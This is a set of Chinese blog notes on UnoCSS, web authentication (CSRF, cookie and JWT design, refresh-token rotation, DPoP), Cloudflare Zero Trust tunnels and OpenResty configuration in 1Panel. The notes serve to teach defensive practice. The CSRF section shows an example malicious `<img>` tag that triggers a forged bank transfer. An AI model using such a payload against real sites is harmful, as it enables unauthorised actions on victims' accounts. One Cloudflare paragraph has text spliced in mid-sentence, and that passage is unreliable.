* 此能力由 `@unocss/preset-attributify` 提供。

**灵活性展示 2：纯 CSS 图标（不用 JS）**

* UnoCSS 还能做“纯 CSS 图标”：通过类名例如 `i-ph-...` / `i-mdi-...` / `i-logos-...` 等生成图标。
* 配合 variants 可实现：hover 切换图标、dark 模式切换图标。
* 依托 Iconify，可使用大量图标集（作者描述为一百多个集合、上万图标级别），并按需使用。
* 实现同样宣称不超过 100 行，预设是 `@unocss/preset-icons`。

**CSS 作用域：UnoCSS 对 “Preflight” 的态度与后果**

* 作者在 Tailwind/Windi 里遇到的另一个问题是 Preflight（样式预检/重置）：新项目里很香，但当你要与其他 UI 框架共存、或写共享组件时，重置容易引发冲突、破坏现有 UI。
* UnoCSS 的选择非常明确：**不内置 Preflight**，把 CSS reset 的控制权交给用户/上层框架（Normalize.css、Reset.css 或 UI 框架自带 reset）。
* 这也打开了更多“作用域”可能性：例如 Vite 插件的实验模式 `scoped-vue`，给每个组件生成 scoped 的原子 CSS，便于做组件库而不和用户 CSS 冲突。
* 还在探索：Web Components、MPA 的 CSS code-splitting、模块级作用域等。

**性能：为什么 UnoCSS 能快到“几乎零开销”**

作者说性能并非唯一重点，但 benchmark 结果“吓人”：在一次对比里，UnoCSS 相对 Tailwind JIT 快到约 200 倍数量级（当时版本对比）。

跳过解析/AST：用字符串拼接 + 缓存

* Tailwind 依赖 PostCSS AST；Windi 有自定义解析器/AST。
* UnoCSS 认为开发期工具类变化没那么频繁，因此用高效的字符串拼接直接产出 CSS，并对 class 与生成结果做缓存：再遇到相同 utility 时可绕过匹配与生成。

单次迭代：不做“额外文件扫描/监听”，直接吃构建工具现成的内容

Windi/Tailwind JIT 通常做预扫描 + 文件监听；文件 I/O 带来额外开销，而且构建工具本身也会读取这些文件，存在重复劳动。

UnoCSS 更偏向深度绑定 Vite：利用 Vite 的 `transform(code, id)` 钩子（Vite 会遍历每个模块并给你内容），插件只收集内容并 scan，不改代码；CSS 通过虚拟模块输出。

好处：

* HMR 时 Vite 会重新触发 transform，因此 UnoCSS 在“一次加载链路”里完成所有工作；没有重复文件 I/O、也不需要额外 watcher。
* 扫描依赖模块图而不是 glob：只有真正进入应用构建的模块会影响 CSS，而不是目录里所有文件。

**unocss 状态**

* 结论：能用，但有注意事项；当时仍处实验阶段，生成结果可靠，但 API 可能有破坏性改动（会遵循 semver，但仍要有心理准备）。
* **它不是为了替代 Windi/Tailwind**，作者甚至建议：不要把现有项目完全迁移到 UnoCSS；更推荐在新项目试用，或作为现有框架的补充（比如只用 icons preset，或只用自定义规则）。
* 文章所在网站也构建在 UnoCSS 之上，作为参考。

操作性结论

* 如果你在意“原子化 CSS 的未来形态”，作者的方向是：**把框架做薄，把能力拆成可组合的规则/变体/预设**，让“按需”不只是生成策略，而是定制方式的核心。
* 如果你痛恨频繁查文档配配置、想要更“直觉可推导”的体验，UnoCSS 的 dynamic rules/variants 设计正是为此服务。
* 如果你做组件库/多框架共存，Preflight 的冲突是现实问题；UnoCSS “不内置 preflight、把 reset 交给你”是一个明确的立场。
* 如果你在 Vite 上追求极致 HMR 体验，UnoCSS 强调“吃 Vite 模块图、单次迭代、避免额外 I/O”这一套非常对路。

***

“这篇文章已经过去 5 年了”，4 年在前端工具链里已经是“好几代”了，**而且现在已经是“成熟方案”而不是“激进方案”**。

UnoCSS = 原子化 CSS 的“底层引擎”选项之一，现在它和 Tailwind 的关系已经从：“挑战者 / 实验品” 变成了 **“不同哲学下的成熟工程解”**

“**可以放心上生产线用，但前提是你清楚自己在用哪一层能力**。”

* `preset-uno`
* `preset-wind`（Tailwind 风格）
* `preset-icons`
* `preset-attributify`
* shortcuts / rules / variants
* Vite / Nuxt / Vue / React 集成

这些已经是 **主航道**

**总结**：UnoCSS 早就不再是实验品，而是一个“稳定的、偏底层的原子化 CSS 引擎”，对于理解 Tailwind 的开发者来说，它甚至是更高级、更自由的生产级选择。

---

---
url: /posts/knl07nvp/index.md
---
# README

---

---
url: /posts/knl0wtoz/index.md
---
# Web 认证与通信架构笔记
## 目标与威胁模型

认证系统本质是在做两件事：证明“你是谁/你有权限”，以及控制“凭证被偷后能造成多大伤害”

常见威胁模型需要分清

* **XSS**：攻击脚本能在用户浏览器里运行，很多“把 token 藏起来”的方案只能降低“被带走跨设备复用”，但挡不住“当场用你的身份发请求”
* **Token 泄露**：日志/抓包/存储被读导致 token 被 exfiltrate（拿走），这类场景 PoP/DPoP 的收益很大

## CSRF 跨站请求伪造攻击

大白话讲就是：攻击者利用你已登录的身份（Cookie 还在），诱导你点击恶意链接 / 访问恶意页面，让你的浏览器替攻击者向目标网站发 “合法” 请求，从而完成非你本意的操作（比如转账、改密码、下单）。

### CSRF 攻击的完整场景

假设你登录了某银行网站（`bank.com`），登录后银行给你的浏览器设了`login_token` Cookie（HttpOnly 但没做 CSRF 防护），且 Cookie 的`SameSite`是默认值：

1. 你没登出银行网站，又打开了攻击者的恶意网站（`hack.com`）；
2. 恶意网站里藏了一段代码：`<img src="https://bank.com/api/transfer?to=黑客账号&amount=1000" />`；
3. 你的浏览器加载这张 “图片” 时，会自动带上`bank.com`的 Cookie（因为 Cookie 的域匹配），向银行接口发转账请求；
4. 银行服务器只校验 Cookie 是否有效，没做其他防护，就认为是你本人的操作，完成了转账，这就是 CSRF 攻击。

核心问题：**服务器只认 Cookie（身份），但无法判断请求是 “你主动发的” 还是 “攻击者诱导的”**。

### Cookie 和 CSRF 的核心关联

Cookie 的 “自动携带” 特性是 CSRF 的基础：

* 浏览器有个默认规则：只要请求的域名和 Cookie 的域名匹配，就会自动把该域名下的 Cookie 带上（不管请求是从哪个页面发起的）；
* 攻击者正是利用这个规则，让你的浏览器 “无意识” 地带 Cookie 发请求，服务器误以为是合法操作。

### 防 CSRF（针对 Cookie 的防护手段）

Cookie 设置`SameSite`属性（最核心）

```js
// 后端设置Cookie时加SameSite（以Express为例）
res.cookie('refresh_token', refreshToken, {
  httpOnly: true, // 防XSS
  secure: process.env.NODE_ENV === 'production', // 生产环境HTTPS
  sameSite: 'Strict', // 仅同站请求（你主动访问bank.com）才带Cookie
  // 或用Lax（更宽松：GET请求如跳转可带，POST等写操作不带）
  // sameSite: 'Lax',
  maxAge: 7 * 24 * 60 * 60 * 1000
});
```

`SameSite=Strict`：只有你主动访问`bank.com`时，请求才带 Cookie；从`hack.com`发的请求，浏览器直接不携带 Cookie，CSRF 攻击直接失效；

`SameSite=Lax`：是主流默认值，兼顾体验和安全（比如从其他网站点击链接跳转到`bank.com`的 GET 请求可带 Cookie，POST/PUT/DELETE 等写操作请求不带）。

“Refresh Cookie + Access Token” 结合，只要做好这两点，就完全不怕 CSRF：

* Refresh Token 的 Cookie 设置`SameSite=Strict/Lax`；
* 刷新 Token 的接口（`/api/refresh`）只接受 POST 请求（`SameSite=Lax`下，跨站 POST 请求不会带 Cookie）；

这样即使攻击者诱导请求`/api/refresh`，也拿不到新的 Access Token，CSRF 攻击就断了根。

还有个手段是验证请求的 “来源 / 出处”，对应技术上的**Origin/Referer 校验**，服务器通过这两个请求头，判断请求是不是从自己的合法域名发过来的，而非恶意网站。

| 请求头  | 作用                                                         | 场景                                                    |
| ------- | ------------------------------------------------------------ | ------------------------------------------------------- |
| Origin  | 只包含 “协议 + 域名 + 端口”（比如`https://bank.com`），无路径 / 参数 | 所有跨域请求（POST/PUT/DELETE）都会带，更纯净、优先校验 |
| Referer | 包含完整的请求来源 URL（比如`https://bank.com/pay.html`）    | 部分场景（比如表单提交）会带，可作为 Origin 的兜底      |

注意事项（避免校验失效）

* 不要校验太细：只校验 “域名”（比如`bank.com`），不要校验具体路径（比如`bank.com/pay.html`），否则前端页面路径变化会导致校验失败；
* 兼容内部请求：如果有服务器内部调用（比如 SSR 服务调用后端接口），Origin/Referer 可能为空，可加白名单（比如`127.0.0.1`、内网 IP）；
* 不要依赖 Referer 唯一校验：部分浏览器 / 场景会屏蔽 Referer（比如隐私模式），所以 Origin 是首选，Referer 只是兜底。

**注意**：

| 特征       | Referer                               | Origin                           |
| ---------- | ------------------------------------- | -------------------------------- |
| 伪造可能性 | 容易（前端可自定义）                  | 几乎不可能（浏览器强制管控）     |
| 管控方     | 前端可修改，浏览器仅做弱校验          | 浏览器内核强制生成，前端无法篡改 |
| 适用场景   | 仅作为 Origin 的兜底（Origin 缺失时） | 跨域请求核心校验字段（首选）     |

## 认证凭证分层思路

### 长期凭证与短期凭证分离

**长期凭证（Refresh / Session ID）**：尽量放在 **HttpOnly Cookie**，并缩小作用域（Path）

**短期凭证（Access / Session token）**：尽量放在 **JS 内存**，每次请求用 header 携带，TTL 短（例如 5–15 分钟）

关键动机

* 长期凭证更怕被偷走“跨设备复用”，所以要尽量让 JS 读不到（HttpOnly）
* 业务请求更可控、CSRF 面积更小，所以业务接口尽量不依赖 cookie 自动携带

## Cookie 体系要点

### Cookie 的风险不是没有，而是“类型不同”

Cookie 并非“更安全”，而是把主要风险从 **XSS 偷 token** 转为 **CSRF** + 配置风险

主要风险与压制方式

* **CSRF**：cookie 自动携带导致第三方站点可诱导请求，常用 SameSite 与 CSRF Token 组合防护
* **XSS**：HttpOnly 能挡“读”，挡不住“用”（脚本仍能在浏览器里发请求并自动带 cookie）
* **网络与配置**：未设置 Secure 或非 HTTPS 可能被窃取，正确做法全站 HTTPS + Secure
* **会话固定/劫持**：登录后 rotate session/refresh，重要操作 re-auth

### Cookie 不是“header 的 cookie”

Cookie 写入来自响应头 `Set-Cookie`，请求发送时在请求头 `Cookie` 字段里出现

### Cookie 4KB 限制与信息放置原则

单个 cookie 常见约 4KB，且同域 cookie 多了会增加每次请求带宽开销

工程建议

* cookie 放短小的凭证（session id / refresh token），不要塞用户资料
* access token 也尽量短（别塞一堆 claim）

### 多个 Cookie 与同名 key 的规则

cookie 的“唯一标识”不只是 name，而是大致由 **(name, domain, path)** 决定

同名 cookie 可能并存的常见原因：Path 不同或 Domain 不同

请求头里可能出现同名两次：`Cookie: key1=value2; key1=value1`

浏览器顺序通常 Path 更具体的在前，但不要指望所有客户端 100% 一致

服务端到底取哪个取决于框架解析策略（取第一个/最后一个/覆盖/保留数组），容易出 bug，工程上建议避免同名

覆盖规则

* 同 name + 同 domain + 同 path：后者覆盖前者
* 同 name 但不同 path/domain：并存

### Expires / Max-Age 与系统时间

浏览器判断 Expires / Max-Age 会用本机时间，改系统时间会让 cookie 表现异常（提前/延后/立刻过期）

Expires vs Max-Age

* Expires：绝对时间，更受本机时间影响
* Max-Age：相对秒数，通常更稳一些（但仍由本地时间推进倒计时）

改系统时间最多影响“浏览器是否还愿意发送 cookie”，通常骗不过服务端的会话/令牌校验

## JWT 要点与“加密”误区

### JWT 默认不是加密，是签名

大多数 JWT（JWS）是签名，用于防篡改与可验证来源，但 **不保证保密**（payload 可被解码看到）

真要“客户端看不到内容”需要 **JWE（加密 JWT）** 或自做对称加密，但 Web 场景复杂度更高

### Cookie 放 JWT vs Header 放 JWT

cookie 放 JWT（HttpOnly）：JS 读不到，更抗 XSS 偷 token，但更容易引入 CSRF，需要 SameSite/CSRF 防护

header 放 JWT：不自动携带，CSRF 面积小；但 token 往往需要存储（localStorage/内存），若落 localStorage，XSS 风险更大

“加密后放 header”本质是 token in header，安全性主要取决于 token 存哪（内存最好、localStorage 最危险）

## 主流混合方案（Refresh Cookie + Access Token）

### 混合方案核心

Refresh：HttpOnly Cookie（长期，作用域尽量缩小，如 `Path=/auth/refresh`）

Access：短命 token 放 JS 内存，每次请求 header：`Authorization: Bearer <access>`

用户信息不要塞进 token（或尽量少塞），更建议 `/me` 单独取 profile 并缓存

### 典型流程

登录

* 后端验证成功后 `Set-Cookie` 写 refresh（HttpOnly/Secure/SameSite/Path），响应 body 返回 access token
* 前端把 access 存内存，后续请求都带 `Authorization`

正常请求：业务 API 只看 header access token（降低 CSRF 面积）

自动续期

* 业务请求 401（access 过期）→ 调 `/auth/refresh`，浏览器自动带 refresh cookie → 后端校验后返回新 access → 前端更新内存并重放原请求
* 可选：refresh rotation（刷新时换新 refresh，让旧 refresh 失效）

登出：后端作废 refresh，并通过 `Set-Cookie` 让 refresh 过期（Max-Age=0）

```http
Set-Cookie: refresh=...; HttpOnly; Secure; SameSite=Lax; Path=/auth/refresh
```

## OAuth 2.0 DPoP

### DPoP 在解决什么

普通 Bearer token：谁拿到 token 谁就能用

**DPoP token**：必须同时拿到 token + 私钥才能用，防 token 被偷后在别的机器/脚本里重放

### DPoP 的核心构件

#### DPoP proof 是什么

* 每次请求带 `DPoP` 头，它是一个**签名 JWT**，payload 含 `htu`/`htm`/`iat`/`jti`
* access token 里带 `cnf`，用于把 token 与公钥绑定（sender-constrained）

#### proof 的结构

DPoP proof 作为 JWT，本身三段：header + payload + signature，签名就是 JWT 第三段

header 里带公钥 jwk，payload 里绑定 URL/方法与防重放字段

```json
{
  "typ": "dpop+jwt",
  "alg": "ES256",
  "jwk": { "kty": "...", "crv": "...", "x": "...", "y": "..." }
}
```

```json
{
  "htu": "https://api.example.com/auth/login",
  "htm": "POST",
  "iat": 1712345678,
  "jti": "随机uuid"
}
```

### DPoP 完整流程（从登录到业务请求）

#### 生成密钥对

浏览器用 WebCrypto 生成 key pair

* 私钥留在浏览器（内存/IndexedDB，取决于你要不要持久化）
* 公钥用于给服务器验签，后续“塞进 DPoP proof 的 header”里发出

极端敏感场景“关页面就丢”更安全

#### 登录请求阶段

* 登录时还没有 access token，只是 `POST /auth/login`，header 带 DPoP，body 传 username/password 等业务数据
* 关键点：DPoP proof 不包含 username/password，它只是额外的 header，用来证明“这次请求来自持有私钥的客户端”

```http
POST /auth/login
DPoP: <proofJWT>
Content-Type: application/json

{ "username": "...", "password": "..." }
```

#### 服务端处理登录

* 先验 DPoP proof：用 header 里的 jwk 验签，并检查 `htu/htm/iat/jti` 等约束
* 再验证用户名密码，通过后签发 access token，并把公钥指纹写入 `cnf.jkt` 完成绑定

```json
{
  "sub": "user123",
  "exp": 1712349999,
  "cnf": { "jkt": "SHA-256(规范化公钥)" }
}
```

#### 业务请求阶段

每次业务请求都要带两样

* `Authorization: Bearer <access_token>`
* `DPoP: <新的proofJWT>`（每次都新生成，htu/htm/jti/iat 都会变）

#### 服务端验证阶段（DPoP 的“绑定核心”）

服务端要验证两件事

* **PoP**：用 DPoP 头里的公钥验 DPoP proof 签名，验签通过等价于“你有私钥”
* **绑定关系**：把该公钥算成指纹 jkt′，和 access token 的 `cnf.jkt` 比对，相等才放行

指纹比对的细节：服务端计算 `SHA-256(标准化后的公钥)` 得到 Z，与 token 里的 `cnf.jkt`（Y）比对

### 关键问题汇总

#### Refresh Token 用 cookie？Access Token 放 localStorage/sessionStorage？

结论：Refresh 放 HttpOnly Cookie，Access 尽量放内存而不是 localStorage/sessionStorage

原因：refresh 是长期凭证，越不暴露给 JS 越好；access 放内存刷新会丢但可 refresh 立刻恢复

#### 放 cookie 就没有风险吗

结论：有风险，只是风险类型不同，cookie 最大坑是 CSRF，HttpOnly 只能挡“读”挡不住“用”

#### 设置多个 cookie？同名 key 会怎样

结论：同名 cookie 可能并存（不同 Path/Domain），请求头里会出现两次；服务端解析取哪个不可靠，建议避免同名

#### cookie 过期看 Expires，用的是本地系统时间，改系统时间岂不是……

结论：会影响浏览器是否继续带 cookie，但通常骗不过服务端的会话/令牌校验，所以不能靠它实现真正越权或无限登录

#### 把 cookie 信息用“jwt 算法加密一层”再传更安全？

* 结论：JWT 默认不是加密而是签名（JWS），payload 仍可被解码看到；要保密需 JWE 或对称加密

* 更推荐：cookie 里只放随机不可猜的 session id / refresh token，不放敏感用户信息

* 2026年2月15日183441聊天记录

#### DPoP proof 的签名放在哪里

结论：签名不是单独字段，它就是 JWT 的第三段

#### 私钥到底签了什么，是不是签请求体

结论：私钥签的是 `base64url(header)+"."+base64url(payload)`，也就是 proof JWT 自己，不是签整个 HTTP 请求体

#### 登录请求里的 username/password 在哪，DPoP 包不包含它们

结论：username/password 在 body；DPoP proof 只是额外 header，不包含业务数据

#### 服务器如何验证“绑定关系”，要对比哪两个字段

结论：对比 **DPoP proof 里的 jwk 算出的 jkt′** 与 **access token 里的 `cnf.jkt`**

#### 攻击者偷到 access token 和公钥但没有私钥，能伪造新的 DPoP proof 吗

结论：不能，因为没有私钥就签不出能通过公钥验签的签名（PoP 的核心）

#### 为什么不能只验 DPoP proof 的签名而不比对 cnf.jkt

结论：只验签只能证明“这个请求确实由某把私钥发出”，但无法证明“这把私钥就是这张 access token 绑定的那把”，必须通过 `jkt′ == cnf.jkt` 建立绑定关系

#### 为什么登录时必须带 DPoP proof，如果登录不带会发生什么

结论：登录/refresh 阶段是服务器“首次知道你的公钥并把指纹写入 access token”的时机；不带 DPoP proof，服务器拿不到可验证的公钥来源，就无法把 access token 绑定到你的密钥（后续也就无法做到 sender-constrained）

### 简洁流程图（混合方案 + DPoP）

```markdown
Login:
  Browser generates key pair
    -> POST /auth/login
       DPoP: proof(htu=/auth/login, htm=POST, iat, jti, jwk=pubkey, sig=privkey)
       Body: username/password
    <- 200 Set-Cookie: refresh=...; HttpOnly; Secure; Path=/auth/refresh
       Body: access_token { cnf.jkt = hash(pubkey) }

API Request:
  -> GET /api/xxx
     Authorization: Bearer access_token
     DPoP: proof(htu=/api/xxx, htm=GET, iat, jti, jwk, sig)
  Server:
     verify access_token
     verify DPoP signature with jwk
     jkt' = hash(jwk)
     allow iff (jkt' == access_token.cnf.jkt) and (jti not replayed)
```

## 总结

* **Cookie/JWT 谁更好不是重点**，重点是把长期与短期凭证分层：长期（refresh/session id）尽量放 HttpOnly cookie 并缩小 Path，短期（access）放内存用 header 跑业务请求，401 触发 refresh 并重放
* **JWT 默认不是加密**，不要把“把敏感信息塞进 JWT/cookie”当成安全设计；更稳的是 cookie 放 opaque 随机串，用户资料走 `/me` 拉取
* **DPoP 的价值**是把“谁拿到 token 谁能用”升级为“必须 token + 私钥才能用”，对 token 泄露/离线重放非常有效；但对 XSS 只能缩小危害半径，挡不住浏览器内当场滥用

## 普通 Web 业务认证架构

### 目标与原则

* 登录态稳定、可撤销、可续期（记住我）
* 不把长期凭证暴露给 JS
* 尽量同源/同站点，减少 CORS / SameSite 地狱
* 出事可止血（强制下线、复用检测、风控）

### 部署形态（优先级）

* **同源反代（最省事）**：`https://app.example.com/api/*` → Nginx 反代到后端
* 次选同站点：`https://mp.example.com` + `https://api.example.com`（仍需 CORS，但比跨站好）

### 凭证模型（推荐）

#### Refresh Token：放 Cookie（长期、可撤销）

* 存放：`HttpOnly` Cookie（JS 读不到）
* 用途：只用于换取 access，不直接访问业务接口
* 有效期：7–30 天（按业务）
* **必须做**：refresh rotation + reuse detection（复用就踢）

Cookie 属性建议（同站点/同源情况下）：

* `HttpOnly; Secure; SameSite=Lax; Path=/auth/refresh`
* `Domain`：**不设**（host-only，最稳）
* 需要“多子域共享”才设 `Domain=example.com`（能不共享就别共享）

#### Access Token：短期（请求用）

* 存放：**内存**（不要 localStorage）
* 有效期：5–15 分钟
* 用途：每次业务请求带 `Authorization: Bearer <access>`

普通业务一般不强求 DPoP，要加也是加在 access 上，refresh 不绑。

### 核心接口（最小集合）

#### `POST /auth/login`

* 入参：账号密码（+ 可选 MFA）
* 出参：
  * Set-Cookie：refresh cookie
  * body：access token（短期）+ 用户信息（必要字段）

#### `POST /auth/refresh`

* 入参：无（靠 refresh cookie）
* 校验：
  * refresh 是否有效
  * rotation：旧 refresh 作废，发新 refresh
  * reuse detection：发现旧 refresh 再次被用 → **撤销整条会话链**（强制下线）
* 出参：
  * Set-Cookie：新的 refresh cookie
  * body：新的 access token

#### `POST /auth/logout`

* 行为：服务端撤销当前 refresh family（或当前会话），清 cookie

#### 业务接口：`/api/**`

* 要求：`Authorization: Bearer <access>`
* access 过期：返回 401，前端触发 refresh 重试一次

### CSRF（Cookie 会话场景必谈）

在**同源/同站点 + SameSite=Lax**下，CSRF 风险已经小很多，但仍建议：

对所有写操作（POST/PUT/PATCH/DELETE）：

* **校验 Origin**（缺失可回退 Referer）
* （高风险业务再加 CSRF token：`X-CSRF-Token`）

记住：CORS 不是 CSRF 防护；Origin 校验才是。

### XSS（最值钱的三件事）

* 不把长期凭证放 JS（refresh HttpOnly、access 内存）
* 上 CSP 基础版（禁 inline + 限制脚本源）
* 禁用危险渲染：`innerHTML/v-html/dangerouslySetInnerHTML`（必须用就 sanitize）

高风险操作（改密/改邮箱/支付/提现）再加：

* **step-up / re-auth**（密码/OTP/二次确认）

### 会话与风控（让系统“可止血”）

* refresh rotation + reuse detection（最关键）
* 设备/会话列表（可选）：支持“踢设备下线”
* 异常检测（可选）：异地/设备突变/高频刷新 → step-up 或冻结
* 登录/刷新/复用事件审计日志

### 前端行为（简单但关键）

* access 放内存（页面刷新会丢，正常）
* 401 → 调 refresh → 重放原请求（只重试一次，避免循环）
* 页面启动时可调用一次 refresh 来拿 access（可选，取决于体验）

## 普通 Web 业务认证架构（二版）

### 核心设计原则

* **Cookie 里不放业务信息，只放不可猜的随机 token**
* **服务端必须有状态存储（DB / Redis）**
* **refresh 可轮转、可撤销**
* **access 短期存在，refresh 长期存在**
* **不要把长期凭证暴露给 JS**

### 整体架构模型

### 浏览器

#### Refresh Cookie（长期）

内容：随机生成的 refresh token

属性：

* `HttpOnly`
* `Secure`
* `SameSite=Lax`
* `Path=/auth/refresh`
* 不设 `Domain`（host-only 更安全）

#### Access Token（短期）

* 存放：内存

* 有效期：5~15 分钟

* 每次请求放：

```http
  Authorization: Bearer <access>
```

### 服务端数据结构

#### 表 1：auth\_sessions（会话级）

表示一次登录（通常对应一个设备）

字段：

* `session_id`
* `user_id`
* `device_id`
* `created_at`
* `last_seen_at`
* `revoked_at`

用途：

* 查看登录设备列表
* 强制下线
* 风控分析

#### 表 2：refresh\_tokens（刷新令牌级）

字段：

* `token_id`
* `session_id`
* `token_hash`（只存 hash）
* `status`：active / rotated / revoked
* `issued_at`
* `expires_at`
* `replaced_by_token_id`
* `last_used_at`

用途：

* refresh rotation
* reuse detection
* 复用后整条链撤销

### 刷新流程（Rotation）

1. 客户端发送 refresh cookie
2. 服务端：
   * 校验 token\_hash
   * 状态必须是 active
3. 生成新的 refresh token
4. 当前 token 标记为 rotated
5. 新 token 标记为 active
6. 返回新的 refresh cookie + 新 access

### 复用检测（Reuse Detection）

如果：一个已 rotated 的 refresh token 再次出现

说明：令牌可能被盗

处理：

* 撤销该 session（或整个 refresh family）
* 强制重新登录
* 记录安全日志

### 设备 ID 设计

不要用浏览器指纹。

正确做法：

* 服务端生成随机 `device_id`
* 存 cookie（HttpOnly）
* 记录在 auth\_sessions

作用：

* 风控
* 显示登录设备
* 辅助异常检测

### Cookie 内容规则

Cookie 不加密也没问题，但必须：

* 随机
* 足够长
* 不可猜
* 服务端可撤销

加密 cookie 只能防篡改，不防复制。

### CSRF 防护

* SameSite=Lax
* 写请求校验 Origin
* 高风险接口可加 CSRF token

### XSS 防护（关键点）

* HttpOnly refresh
* access 不存 localStorage
* 不使用危险渲染 API
* 上 CSP（推荐）

### 最终推荐架构（普通 Web）

同源反代 + refresh(HttpOnly cookie) + access(短 TTL 内存) + rotation + reuse detection + Origin 校验 + 高风险操作 step-up

---

---
url: /posts/ksuqeaa0/index.md
---
# Cloudflare Zero Trust
## 使用Cloudflare的Zero Trust实现公网访问内网{#cloudflare-zt}

它的原理：

Cloudflared的Zero Trust实现公网访问内网的核心原理在于构建一个安全的、无需传统VPN的连接通道。传统上，为了从公网访问内网资源，企业通常会部署VPN，但VPN存在着暴露攻击面、管理复杂以及“信任过多”的问题。Cloudflared的Zero Trust模型彻底改变了这一范式。

其基本工作流程是，在内网中部署一个轻量级的代理软件——`cloudflared`。这个`cloudflared`程序会在内网和Cloudflare的全球网络之间建立一个**出站连接**，即一个安全的、持久的隧道（Tunnel）。这个隧道是主动从内网向外发起连接的，这意味着它不需要在防火墙上打开任何入站端口，从而大大减少了被攻击的风险。

当外部用户尝试访问内网资源时（例如一个内部Web应用），他们的请求首先会路由到Cloudflare的边缘网络。Cloudflare的Zero Trust平台（Access）会在这里对用户进行身份验证和授权。这包括验证用户的身份（例如通过SSO集成），并检查其是否符合预定义的策略（例如，用户必须来自特定IP段，或者设备必须符合安全要求）。

一旦用户通过了身份验证和授权，Cloudflare的边缘网络就会通过之前由`cloudflared`建立的安全隧道，将用户的请求转发到内网中的`cloudflared`实例。`cloudflared`接收到请求后，会将其代理到内网中实际的目标服务（例如Web服务器、SSH服务器等）。服务响应后，数据会沿着相同的隧道返回到Cloudflare边缘，最终传递给外部用户。

整个过程中，内网资源从未直接暴露在公网上，所有流量都通过Cloudflare的全球网络和加密隧道进行传输。这种“永不信任，始终验证”的理念，结合`cloudflared`的出站隧道机制，使得即使是公网访问内网，也能实现极高的安全性和便捷性，有效地降低了传统网络架构中的风险。

要开始配置Cloudflare Zero Trust隧道，首先您需要访问并登录您的Cloudflare账户，然后导航至其 [`Zero Trust`](https://one.dash.cloudflare.com/) 控制面板。进入后，请将您的目光投向左侧的导航菜单，在那里您会找到并选择 `网络 (Network)` 选项下的 `Tunnels (隧道)` 功能。

在隧道管理界面，您将看到一个创建新隧道的按钮，请点击它以启动创建流程。接下来，系统会提示您选择隧道的连接方式，在这里请务必点击 `选择Cloudflared` 选项，因为这是通过本地安装的 `cloudflared` 守护进程与Cloudflare网络建立连接的方式。随后，您需要为您的隧道输入一个自定义的、易于识别的名称，这个名称将帮助您日后管理多个隧道。输入名称后，系统会要求您选择隧道的运行平台，例如Linux、Windows、macOS或其他容器平台。根据您的实际运行环境选择对应的平台后，请严格按照屏幕上提供的指引步骤进行操作。这些步骤通常包括下载并安装 `cloudflared` 客户端、登录Cloudflare账户以及运行特定的命令来初始化隧道。

一旦所有指引步骤都完整操作并成功执行，您的隧道便已建立，此时您可以开始配置域名，以便将内部服务暴露到公网。例如，如果您希望在公网上访问您内网中运行在 `http://localhost:3000` 的Web服务，您首先需要填写一个自定义的子域名，比如 `my-service`，然后从下拉菜单中选择一个已托管在Cloudflare的域名，例如 `yourdomain.com`。接着，根据您内部服务的实际需求，选择相应的协议，对于Web服务通常是 `HTTP` 或 `HTTPS`。最后，在目标地址栏中填写您内部服务的完整地址和端口，例如 `localhost:3000`。完成这些配置后，当用户访问 `my-service.yourdomain.com` 时，请求将通过Cloudflare Zero Trust隧道安全地转发至您内网的 `localhost:3000` 服务。

尽管Cloudflare Zero Trust隧道提供了一种便捷的内网穿透方案，但该方案也存在一些不容忽视的弊端：

首先，**网络速度不稳定**。隧道的性能在很大程度上依赖于Cloudflare的全球网络基础设施以及您本地网络到Cloudflare边缘节点的连接质量。在高峰时段、网络拥堵或者地理位置偏远的情况下，用户可能会体验到访问速度的波动，甚至出现延迟增加或连接中断的情况，这会影响最终用户的体验。

其次，对于除了HTTP/HTTPS之外的**其他协议需要额外配置**。例如，如果您需要通过隧道访问SSH、RDP（远程桌面协议）或SMB（服务器消息块协议）等非Web协议，## 使用Cloudflare
Cloudflare Zero Trust通过在内网部署`cloudflared`建立出站安全隧道，将公网请求安全代理至内网资源，无需开放入站端口，实现“永不信任，始终验证”的安全访问。往往需要进行更为复杂的设置。这不仅仅是在Cloudflare Zero Trust仪表板上进行简单的端口转发或协议选择，还需要对**客户端进行额外配置**。这意味着客户端用户可能需要安装特定的软件、配置代理设置，或者使用`cloudflared`客户端本身来建立SSH/RDP连接，而不是直接使用标准的客户端工具。这种额外的配置步骤增加了部署和使用的复杂性，对于不熟悉网络配置的用户来说，可能是一个较高的门槛。

IPv6 + DDNS ...

---

---
url: /posts/kxr6doai/index.md
---
1Panel 中默认安装的 Web 服务是基于 **OpenResty（Nginx 增强版）**，它运行在 Docker 容器中。因此，无法直接使用系统命令 `nginx` 对其进行操作。若要修改其配置文件、自定义站点、或重载配置，必须在容器内进行。

大概操作步骤是：

1. 进入 OpenResty 容器
2. 定位配置文件路径
3. 修改自定义配置（如：反代、端口、SSL）
4. 测试配置语法
5. 热重载或重启容器生效

## 操作步骤

### 查看 OpenResty 容器名称

**可以使用 容器的名称 或者 容器ID 进行操作**，运行命令：

```bash
docker ps
```

一般容器名为：`1panel-openresty-xxxx`

### 进入容器内部

```bash
docker exec -it 容器名 /bin/sh

# 示例：
# docker exec -it 1panel-openresty-1234 /bin/sh
```

### 找到 nginx 配置文件路径

OpenResty 的 nginx 配置通常位于：

```bash
/usr/local/openresty/nginx/conf/nginx.conf
```

```bash
/etc/nginx/nginx.conf
```

也可以运行：

```bash
find / -name nginx.conf 2>/dev/null
```

### 修改配置文件

编辑主配置或添加自定义配置：

```bash
vi /usr/local/openresty/nginx/conf/nginx.conf
```

或者在 `conf.d/` 目录下添加自己的 `.conf` 文件（推荐这种方式）：

因为它会自动加载 `conf.d` 目录下的所有配置文件。

```bash
vi /usr/local/openresty/nginx/conf/conf.d/my_site.conf
```

示例配置（反代带端口服务）：

```bash
server {
    listen 443 ssl;
    server_name panel.yumeng.icu;

    ssl_certificate     /ssl/fullchain.pem;
    ssl_certificate_key /ssl/privkey.pem;

    location / {
        proxy_pass http://localhost:24246;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
```

**注意**：确保 `.conf` 文件被 `nginx.conf` 引入（`include conf.d/*.conf;`）

### 测试配置语法

先找到 nginx 的真实路径：

```bash
find / -name nginx 2>/dev/null
```

你不能直接 `nginx -t` ，因为它会报错找不到命令，在容器内需要使用完整路径，大多数 OpenResty 会有：

```bash
/usr/local/openresty/nginx/sbin/nginx
```

然后执行语法检查：

```bash
/usr/local/openresty/nginx/sbin/nginx -t
```

### 使配置生效

若有 `nginx` 可执行文件：

```bash
/usr/local/openresty/nginx/sbin/nginx -s reload
```

若没有 CLI 工具（精简版容器，重启容器即可生效：

```bash
docker restart 容器名
```

### 推荐的配置目录结构

